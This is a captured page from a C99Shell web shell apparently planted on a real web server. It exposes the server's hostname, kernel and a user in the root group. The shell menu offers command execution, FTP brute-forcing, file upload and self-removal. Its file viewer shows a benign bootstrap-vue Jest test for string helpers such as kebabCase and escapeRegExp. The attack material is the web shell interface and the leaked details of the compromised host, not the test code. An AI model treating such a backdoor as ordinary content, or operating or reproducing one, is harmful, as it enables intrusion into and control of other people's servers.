!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/node_modules/bootstrap-vue/src/utils/   drwxr-xr-x
Free 28.14 GB of 117.98 GB (23.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     string.spec.js (2.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import {
  escapeRegExp,
  kebabCase,
  lowerFirst,
  pascalCase,
  startCase,
  toString,
  upperFirst
} from './string'

describe('utils/string', () => {
  it('kebabCase() works', async () => {
    expect(kebabCase('foo')).toBe('foo')
    expect(kebabCase('Foo')).toBe('foo')
    expect(kebabCase('fooBar')).toBe('foo-bar')
    expect(kebabCase('FooBar')).toBe('foo-bar')
    expect(kebabCase('XFooBar')).toBe('x-foo-bar')
  })

  it('pascalCase() works', async () => {
    expect(pascalCase('foo')).toBe('Foo')
    expect(pascalCase('Foo')).toBe('Foo')
    expect(pascalCase('fooBar')).toBe('FooBar')
    expect(pascalCase('FooBar')).toBe('FooBar')
    expect(pascalCase('foo-bar')).toBe('FooBar')
    expect(pascalCase('x-foo-bar')).toBe('XFooBar')
    expect(pascalCase('xFooBar')).toBe('XFooBar')
  })

  it('startCase() works', async () => {
    expect(startCase('foobar')).toBe('Foobar')
    expect(startCase('Foobar')).toBe('Foobar')
    expect(startCase('foo_bar')).toBe('Foo Bar')
    expect(startCase('foo bar')).toBe('Foo Bar')
    expect(startCase('fooBar')).toBe('Foo Bar')
  })

  it('lowerFirst() works', async () => {
    expect(lowerFirst('Upper')).toBe('upper')
    expect(lowerFirst(' Upper ')).toBe('upper')
    expect(lowerFirst('Upper case')).toBe('upper case')
    expect(lowerFirst(null)).toBe('null')
    expect(lowerFirst(undefined)).toBe('undefined')
    expect(lowerFirst({})).toBe('[object Object]')
    expect(lowerFirst([])).toBe('')
    expect(lowerFirst(['Foo', 'bar'])).toBe('foo,bar')
  })

  it('upperFirst() works', async () => {
    expect(upperFirst('lower')).toBe('Lower')
    expect(upperFirst(' lower ')).toBe('Lower')
    expect(upperFirst('lower case')).toBe('Lower case')
    expect(upperFirst(null)).toBe('Null')
    expect(upperFirst(undefined)).toBe('Undefined')
    expect(upperFirst({})).toBe('[object Object]')
    expect(upperFirst([])).toBe('')
    expect(upperFirst(['foo', 'bar'])).toBe('Foo,bar')
  })

  it('escapeRegExp() works', async () => {
    expect(escapeRegExp('Hello?')).toBe('Hello\\?')
    expect(escapeRegExp('$100')).toBe('\\$100')
    expect(escapeRegExp('10 * 5')).toBe('10 \\* 5')
    expect(escapeRegExp('[-/\\^$*+?.()|[\\]{}]')).toBe(
      '\\[\\-\\/\\\\\\^\\$\\*\\+\\?\\.\\(\\)\\|\\[\\\\\\]\\{\\}\\]'
    )
  })

  it('toString() works', async () => {
    expect(toString(null)).toBe('')
    expect(toString(undefined)).toBe('')
    expect(toString(true)).toBe('true')
    expect(toString(false)).toBe('false')
    expect(toString({ a: 1, b: 2, c: { d: 'foo' } })).toBe(`{
  "a": 1,
  "b": 2,
  "c": {
    "d": "foo"
  }
}`)
    expect(toString({ a: 1, b: 2, c: { d: 'foo' } }, 4)).toBe(`{
    "a": 1,
    "b": 2,
    "c": {
        "d": "foo"
    }
}`)
    expect(toString([])).toBe('[]')
    expect(toString(['foo', 'bar'])).toBe(`[
  "foo",
  "bar"
]`)
  })
})

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--